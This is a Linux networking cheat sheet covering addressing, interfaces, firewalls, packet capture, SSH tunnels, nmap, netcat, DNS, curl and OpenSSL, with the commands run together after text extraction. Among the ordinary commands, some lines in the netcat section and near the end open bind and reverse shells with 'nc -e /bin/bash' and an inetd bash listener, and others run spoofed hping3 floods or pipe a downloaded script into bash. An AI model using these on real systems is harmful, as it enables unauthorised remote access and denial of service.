© 2021 Martin Bruchanov, bruchy@gmail.com
| OSI Layer | Data | Protocols | TCP/IP Layer |
|---|---|---|---|
| 7. Application | Data | Data generation (SMTP, NNTP, SSH, Telnet, HTTP) | Application |
| 6. Presentation | Data | Encryption and formatting (JPEG, ASCII, EBDIC, GIF,…) | |
| 5. Session | Data | Sync. & send to ports (RPC, SQL, NFS, NetBIOS) | |
| 4. Transport | Segments | TCP/UDP, message segmentation, message traffic control | Transport |
| 3. Network | Packets | Packets, IP addr., routing, subnet traffic (IPv4/6, ICMP) | Network |
| 2. Data Link | Frames | Frame traffic control, sequencing (ARP, MAC) | Network Access |
| 1. Physical | bits | Cables, hubs, physical medium transmission |
| CIDR Notation: | 192.168.1.130/25 | |
| IPv4 (32bit): | 192.168.1.130 | 11000000.10101000.00000001.10000010 |
| Mask: | 255.255.255.128 | 11111111.11111111.11111111.10000000 |
| Subnet: | ( IP and Mask ) | 11000000.10101000.00000001.10000000 |
| Subnet: | 192.168.1.128 | |
| Usable Host Range: | 192.168.1.129--254 | |
| Broadcast Address: | 192.168.1.255 |
ipcalc, sipcalc for IP/net calculations.
y : y : y : y : y : y : y : yy : y : y : y : y : y : x . x . x . xhttp://[2a01:4f8:130:2192::2]00000:0000:0000:0000:000:0000:0000:0001 ≈ 0:0:0:0:0:0:0:1 ≈ ::1::”: 2001:0:0:0:0:0:0:ab ≈ 2001::ab2001:0:0:1:0:0:0:ab ≈ 2001:0:0:1::ab ≈ 2001::1:0:0:0:ab38:c9:86:30:63:bf38 or identificator = 39) 3ac9:86ff:fe30:63bffe80::3ac9:86ff:fe30:63bf127.0.0.1/8; ::1/1280.0.0.0/8; ::/128224.0.0.0/4; ff00::/810.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16; fc00::/7169.254.0.0/16::ffff:0:0/96 (::ffff:0.0.0.0 – ::ffff:255.255.255.255)64:ff9b::/96192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24; 2001:db8::/32/etc/services)service network start/stop/restart, /etc/init.d/network start/stop/restartservicectl start/stop/restart NetworkManager.servicehostname namenmcli general hostname name/etc/hostnamehostnamectl set-hostname namehostname, hostnamectlethtool eth0ifconfig lo 127.0.0.1route add 127.0.0.1cat /proc/net/dev, netstat -ie, tcpdump -Difconfig, ip addr show, ip link show, ip link listip -j addr show | jq -r '.[]|[.ifname,.addr_info[].local]|@tsv'ifconfig eth0 down; ip link set eth0 down; nmcli connection down eth0ip link set enp0s25 name eth0ifconfig eth0 up; ip link set eth0 up; nmcli connection up eth0eth1: ifconfig eth1 mtu 9000 up, ip link set mtu 9000 eth1ifconfig eth0 192.168.0.1; ip addr add 192.168.0.1 dev eth0ifconfig eth0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255ip addr add 192.168.0.1/24 broadcast 192.168.0.255 dev eth0nmcli con add con-name eno2 type ethernet ifname eno2 ip4 192.168.0.5/24 gw4 192.168.0.254dhclient -v eth0ip addr del 192.168.0.1/24 dev eth0curl ifconfig.co/jsonifconfig eth0:1 10.0.0.1/8; ip addr add 10.0.0.1/8 dev eth0 label eth0:1ifconfig eth0 promisc (-promisc to disable); ip link set eth0 promisc on/offifconfig eth0 hw ether AA:BB:CC:DD:EE:FF;ip link set dev eth0 address AA:BB:CC:DD:EE:FF
route add default gw 192.168.1.1 eth0ip route add 192.168.1.0/24 dev eth0ip route add 192.168.1.0/24 via 192.168.1.1sysctl -a | grep netnetstat --statistics --rawenp1s0:find /sys/devices -name enp1s0 (and use it for following commands).echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/0000:01:00.0/removeecho 1 > /sys/devices/pci0000:00/0000:00:1c.0/rescanethtool -s eth0 autoneg on speed 1000 duplex fulllspci | grep -E -i --color 'wifi|wlan|wireless'iwlist wlan0 scan; nmcli dev wifiiwlist wlan0 freqiwconfig wlan0 essid "Network SSID" key HEX_KEYiwconfig wlan0 essid "Network SSID" key s:ASCII_KEYnmcli dev wifi connect "Network SSID" password '123...'wpa_supplicant -B -i wlan0 -DWext -c /etc/wpa_supplicant.confwpa_guiman wpa_supplicant.confwatch -n 1 cat /proc/net/wireless (link = SNR, level in dBm)/etc/sysconfig/network-scripts/ifcfg-inteface
| Static | Dynamic | Either |
|---|---|---|
|
BOOTPROTO=none IPADDR=192.168.0.2 PREFIX0=24 GATEWAY0=192.168.0.1 DEFROUTE=yes DNS1=8.8.8.8 |
BOOTPROTO=dhcp
|
DEVICE=eth0 NAME="System eth0" ONBOOT=yes UUID=a1b1c122-2... USERCTL=yes |
nmtuisystemctl enable/disable/start/restart/stop NetworkManager.servicenmcli dev statusnmcli connection shownmcli con show eth0nmcli con add con-name "default" type ethernet ifname eth0nmcli con add con-name "static" ifname eth0 autoconnect no type ethernet ip4 172.125.X.10/24 gw 172.25.X.254nmcli connection modify eth0 ipv4.addresses 10.0.0.2/8 ipv4.gateway 10.0.0.1nmcli con up/down "static"nmcli con reloadnmcli device disconnect DEV nmcli net offnmcli con add / mod "ID" / del "ID"nmcli con modify eth0 ipv4.dns "8.8.8.8,8.8.4.4"nmcli connection modify eth0 ipv4.routes "192.168.0.0/24 10.0.0.1, 192.168.1.0/24 10.0.0.1"dhclient -v eth0dhclient -r nmap --script broadcast-dhcp-discover/var/lib/dhclient/dhclient.leasesnetstat -plunt; lsof -i; ss -tualsof -i -a -p PIDnetstat -lxnetstat -nalsof -i :22 / lsof -i :sshss -lt; fuser -n tcp 22strace -f -e trace=network -s 10000 -p PID nethogiptraf-ngping6, tracepath6, traceroute6ping -c n host, hping3 -1 -c n hostping -b 10.0.0.255ping -I eth1traceroute host; mtr -c 1 -r hosthping3 -c 3 -p 443hping3 -S -P -U --flood -V --rand-source hosthping3 -1 --flood -a hosttcptraceroute, tcping host porttcpdump -i eth0 icmpbrctl showbr0: brctl addbr br0, nmcli con add type bridge ifname br0brctl addif br0 eth1 / brctl delif br0 eth1 brctl stp br0 on / offbrctl delbr br0arp; ip neighbor list; cat /proc/net/arpip -s neigh flush allarp -i eth0 -s 192.168.0.1 00:11:22:33:44:55ip neigh add 192.168.0.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0ifconfig -arp eth0; ip link set dev eth0 arp offarp -i eth1 -d 10.0.0.1ip route show, ip route list, netstat -rnip route add default via 192.168.1.1, route add default gw 192.168.1.1nmap --iflistip route add 192.168.1.0/24 dev eth0ip route delete 192.168.1.0/24 dev eth0echo "1" > /proc/sys/net/ipv4/ip_forward/etc/sysctl.conf option net.ipv4.ip_forward = 1/etc/sysconfig/network-scripts/route-eth0:default via 10.254.0.1 dev eth0172.31.0.0/16 via 10.254.0.1 dev eth0iptablesip6tablesiptables -S , iptables -L -viptables -Fiptables -L | grep policy … INPUT, FORWARD, OUTPUTiptables -A input -p tcp -dport N -j ACCEPT}iptables -A input -p tcp -dport N -s IP/mask -j ACCEPT192.168.10.x: iptables -A INPUT -s 192.168.10.0/24 -j DROPeth1: iptables -A INPUT -i eth1 -p tcp --destination-port N -j DROPiptables -A INPUT -m tcp -p tcp --dport 22 -j ACCEPTiptables -A INPUT -p tcp -m state --state NEW -m multiport --dports ssh,http,https -j ACCEPT/sbin/iptables-save > /etc/sysconfig/iptables, /etc/init.d/iptables saveiptables -t nat -A POSTROUTING -s 10.200.0.0/24 -o eth0 -j MASQUERADEiptables -t nat --line-numbers -L (list in table); iptables -t nat -D PREROUTING 2 (delete 2nd line)fail2ban-client status sshdfirewalldfirewall-cmd --state, systemctl status firewalld firewall-cmd --list-allfirewall-cmd --get-active-zones, firewall-cmd --get-zonesfirewall-cmd --get-default-zone, --set-default-zone=ZONEfirewall-cmd --set-default-zone=ZONE--permament option any changes will not be available after restart.firewall-cmd --permanent --zone=ZONE --add-port=8080/tcpfirewall-cmd --permanent --add-service={https}firewall-cmd --reload--remove-port=port/protocol, --remove-service=service, --remove-source=X.X.X.X/Yfirewall-cmd --zone=external --add-masqueradefirewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=2055:toaddr=192.0.2.55firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address=172.25.X.10/32 service name="http" log level=notice prefix="NEW HTTP " limit value="3/s" accept 'firewall-cmd --permanent --add-rich-rule 'rule family=ipv4 source address=10.0.0.1/32 forward-port port=443 protocol=tcp to-port=22'tcpdump – dump traffic on a networktcpdump -i eth0 'tcp port 80' tcpdump -vvv -s 1024 -l -A 'tcp port http' tcpdump -i eth0 'not port ssh'tcpdump -etcpdump -n / -nn-X, and header -XXtcpdump -i eth0 src 192.168.10.1 tcpdump -i eth0 dst 192.168.10.1 tcpdump -i eth0 net 192.168.10.1/24tcpdump udp and src port 53eth1 to file: tcpdump -ni eth1 -w file.captcpdump -n portrange 22-23man pcap-filtertcpdump -v -n -l | grep -E -i "POST /|GET /|Host:"ssh -l login -p port hostname, ssh login@hostnamessh -o PreferredAuthentications=password -o PubkeyAuthentication=no login@hostname~” followed by a command:~? – Display a list of escape characters.~. – Terminate connection.~Ctrl-z – suspend ssh process, use fg to enable it again.~B – send a BREAK to the remote system.~C – open a command line (use help) for port forwarding options.ssh -J user1@host1:port1,user2@host2:port2 user3@target -p port3ssh -o ProxyCommand="ssh -i ~/.ssh/id_rsa user@bastion -W %h:%p" user@target -p2222ssh -L LocalPort:RemoteIP:RemotePort hostssh -L LocalIP:Localport:RemoteIP:RemotePort hostssh -R RemotePort:LocalIP:LocalPort hostssh -R RemoteIP:Remoteport:LocalIP:LocalPort hostGatewayPorts yes in /etc/ssh/sshd_configssh -D LocalAddress:LocalPort host, ssh -D 1080 hostcurl --user-agent "Mozilla" --socks4 localhost:1080 http://www.whatsmyip.org/ssh -o ProxyCommand='nc --proxy-type socks4 --proxy 127.0.0.1:1080 %h %p' user@targetexport http_proxy=socks5://127.0.0.1:1080; export https_proxy=$http_proxynpm install -g http-proxy-to-socks; hpts --socks 127.0.0.1:9000 -p 8080sshfs -o allow_other,defer_permissions,IdentityFile=~/.ssh/id_rsa user@xxx.xxx.xxx.xxx:/ /mnt/dropletssh user@host 'cat /path/to/some/file' | xclipdiff ~/.bashrc <(ssh work cat ~/.bashrc)journalctl -u sshdsshd -T | sort | lessssh-keygen -t rsa -b 4096 -C "Top secret key"ssh-keygen -y -f private.pem > public.pubchmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keysssh-copy-id user@host; cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'ssh-agent -t $((8*3600))ssh-add ~/.ssh/id_rsa (will ask for passphrase once in time life)ssh -A hostnamessh -At server 'ssh host'ssh-keyscan -T 1 -p port hostexport SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339; ssh-add -l; ssh user@hostnamessh -X host, ssh -Y host (trusted)export DISPLAY=YOUR_IP:0.0xhost +REMOTE_IPrdesktop -u USER -d DOMAIN -g 1024x768 -r disk:local=~ hostnamexfreerdp /u:"User name" /drive:home,/home/user /v:hostname:3389telnet hostname porttelnet -l login hostnameCtlr-]quit, logout, user login, open host port mount -t cifs '\\server\share' /mnt/local -o user=DOMAIN/USERsmbclient -L host, smbclient -I IPsmbclient '\\server\share' -U user mypasswdsmbclient commands: ls, dir, lcd, cd, pwd, get, mget, rm, quitsmbgetsmbstatus/etc/fstab: //server/share /mnt/local cifs username=USER,password=PASS,rw 0 0 umount -a -t cifs -l/etc/export:/mnt/share 192.168.0.100(rw,sync,no_root_squash)ro read-only, rw read-write, sync , no_root_squash allow root, no_subtree_checknetstat | grep nfs rpcinfo -s bee | grep -E 'nfs|mountd'nfsstatshowmount -emount -t nfs 192.168.0.99:/mnt/share /mnt/local/etc/fstab: 192.168.0.99:/mnt/share /mnt/local nfs rsize=8192,wsize=8192,timeo=14,intr,tcp 0 0 ftp hostnameascii (default), binary (set transfer mode for binary files), bye, cd, cdup, close, delete, dir, get, lcd, ls, mget, mput, open, proxy, put, pwd, rmdir, verboselftp, ncftp, curl, wputrsync source destination rsync -avHPS --rsh="ssh -p 2222" source user@host:/dest/dirrsync CLI options:-v, --verbose – increase amount of output information-a, --archive – archive mode, equals -rlptgoD-r, --recursive – recursive into directories-l, --links – copy symlinks as symlinks-L, --copy-links – transform symlink into referent file/dir-p, --perms – preserve permissions-t, --times – preserve timestamp-g, --group; -o, --owner – preserve group, owner-D – synchronize device files-H, --hard-links – preserve hard links-P, --partial --progress – keep partial files (for resuming transfer)-S, --sparse – handle sparse files efficiently--dry-run – perform a trial run with no changes made --bwlimit=100 – limit transferring speed to 100 kB/s--delete – delete files that are not in source directory--remove-source-files – delete file after transferscp -P 2222 file.txt user@hostname.com:/home/user/ sftp -P 2222 user@hostname.comsftp -b batchfile.txt user@hostname.comnmap 192.168.1.1-254, nmap 192.168.1.*, nmap 192.168.1.0/24nmap --open -p80 10.0.0.0/24 -oG - nmap -iL list.txt (host, network, IP per like)nmap -6 -p 22, -p 1-1024, -F (only most common ports), -p- (1-65535), -p U:53,111,137,T:21-25,80 (given TCP/UDP ports)-A, -sV (standard), -sV --version-intensity 5 (aggresive)-T4) OS and services version detection: nmap -v -A -T4 172.31.224.10nmap -v -sT -PN --spoof-mac 11:22:33:AA:BB:CC 192.168.1.1--host-timeout 1m--scan-delay 5s-n / -Rnmap -sV -sC 10.0.0.1nmap -sV -Pn -n --proxies socks4://127.0.0.1:1080 scanme.nmap.orglocate .nse, rpm -ql nmap, dpkg -S nmapnmap --traceroute --script traceroute-geolocation.nse hostnmap --script http-enum www.host.comnmap --script http-title -sV -p 80 192.168.0.0/24nmap -p 445 --script smb-os-discovery 192.168.0.0/24nmap --script http-* scanme.nmap.orgnping -c 1 --tcp -p 80,433 scanme.nmap.orgnmap -oA output -p- hostndiff scan1.xml scan2.xmlhping3 --tcp-timestamp -S google.com -p 80 -c 3hping3 --scan 1-1024 -S hostnc www.google.com 80-p it is not specified: 31337--tcp, --udp, --sctp, --ssl, -4, -6nc -v -k -l 1234, UDP port: nc -v -k -ul 1234--allow 192.168.0.0/24, --deny 10.0.0.0/8cat file.txt | nc -v -l -p 5555nc host 5555 > file_copy.txt nc -v -l -e /bin/bashnc host, telnet host 31337 nc -vv -l nc -v public_host -e /bin/bash/dev/tcp/host/port, /dev/udp/host/portexec 3<>/dev/tcp/www.root.cz/80echo -en "GET /unix/ HTTP/1.1\r\nHost: www.root.cz\r\n\r\n" >&3cat <&3exec 3>&-ls -l /proc/$$/fd/etc/hosts/etc/nsswitch.conf /etc/resolv.conf |
/etc/systemd/resolved.conf |
|---|---|
nameserver 8.8.8.8nameserver 8.8.4.4search .mydomain.com
|
[Resolve]DNS=8.8.8.8 8.8.4.4FallbackDNS=1.1.1.1Domains=mydomain.com
|
systemd: systemctl restart systemd-resolved, resolvectl statushost name, nslookup name, dig +short name, resolvectl query namedig name, host -a namedig +trace namegetent/etc/hosts: getent hosts namedig -x 10.32.1.10 +shortdig hostname +shortfor i in 192.168.10.{1..254}; do echo -e $i \t $(dig +short -x $i); donedig -t record hostname/domain, host -t record hostname/domainA / AAAA – return 32/128 bit address for hostCNAME – aliases of hostname, can point to AMX – mail exchanger recordNS – specify authoritative nameserver for domainPTR – pointer records for reverse lookup (addr->host)SOA – Start of Authority, name of the server that supplied the data for the zonedig @8.8.8.8 hostname, host hostname 8.8.8.8dig @a.root-servers.net example.com (will return authority DNS for domain)dig . DNSKEY | grep -Ev '^($|;)' > root.keysdig +sigchase +trusted-key=./root.keys www.root.cz Anmap --script=dns-service-discovery -p 53,5353 172.31.224.0/24 -oG - | grep opendoh, dog A AAAA MX www.example.com @https://cloudflare-dns.com/dns-query --httpscurl -s ifconfig.co/json?ip=IP | jq -r '[.hostname,.country]|@csv'whois, jwhoiswhois -h whois.nic.cz seznam.czwhois IP / whois domainwhois -h whois.radb.net -- -i origin AS855 | grep routehttp://user:password@domain:port/path?query#fragment_idwget -e robots=off -r -L URL, curl -I URL, wget -S URLcurl -O URL/file, wget URL/filecurl -o file URL curl -s URL --list-onlycurl -u user:password URL, wget --user user --password pass URLwget -q --cookies=on --keep-session-cookies --save-cookies=cookie.txt URLwget -nv --content-disposition --referer= --cookies=on URLcurl URL, wget -q -O - URLwget -q -O - https://server/script.sh | bash -x -vcurl -L -O -C - URLwget --referer URL --user-agent "Mozilla/5.0 (compatible; Linux)"curl -H "Content-Type: application/xml" URLcurl -H "Cookie: name1=value; name2=another" URL, curl --cookie "name1=value; name2=another" URLcurl -X POST -d 'name1=value&name2=another' URLZ curl --form upload=@localfilename --form press=OK URLexport http_proxy=http://foo:bar@202.54.1.1:3128/export https_proxy=$http_proxyelinks -dump URL, lynx -dump URLpython3 -m http.server 9000nginx -t -c config, dump config: nginx -Tnmap -sV --script ssl-enum-ciphers -p 443 hostnameopenssl rand -base64 8openssl s_client -showcerts -connect google.com:443openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crtopenssl rsa -noout -modulus -in server.key | openssl md5echo | openssl s_client -showcerts -connect google.com:443 2>&1 | openssl x509 -noout -datesecho | timeout 3 openssl s_client...openssl x509 -noout -text -in certificate.crtopenssl x509 -noout -ext subjectAltName -in certificate.crtopenssl pkcs12 -in file.p12 -out crt.pem -clcerts -nokeys -passin 'pass:123456'openssl pkcs12 -in file.p12 -out key.pem -nocerts -nodes -passin 'pass:123456'ntpq tik.cesnet.czntpq -i tik.cesnet.cz <<< "cl"ntpstatntpdate -s time.nist.govrpcinfo -p localhostecho "31337 stream tcp nowait userid /bin/bash bash -i" >> /tmp/config.conf; /usr/sbin/inetd /tmp/config.conf/etc/hosts.allow:deamon_list : client_list#ALL : .domain.comsshd : 192.168.122.0/255.255.255.0 EXCEPT 192.168.122.150rpc.mountd, in.tftpd : 192.168.100.100vsftpd: /etc/myftp.hosts/etc/myftp.hosts: 192.168.0.0/255.255.255.0/etc/hosts.deny:ALL EXCEPT in.tftpd : .domain.comsshd : ALL EXCEPT 192.168.122.150ALL : ALLsemanage port -lsemanage port -a -t http_port_t -p tcp 8000getenforcesetenforce 0chcon -R -t httpd_sys_content_t ./directorytc -s qdisc ls dev eth0tc qdisc add dev eth0 root netem delay 200mstc qdisc del dev eth0 rootiptables -A INPUT -i eth0 -m state --state NEW -p udp --dport 1194 -j ACCEPT, firewall-cmd --permanent --add-service openvpnopenvpn --ifconfig 10.200.0.1 10.200.0.2 --dev tunopenvpn --ifconfig 10.200.0.2 10.200.0.1 --dev tun --remote your.openvpnserver.net--proto tcp-server (server), --proto tcp-client (client)openvpn --genkey --secret secret.key and use --secret secret.key on client/server.curl --mail-from blah@test.com --mail-rcpt foo@test.com smtp://mailserver.commail -s "This is subject" foo@test.com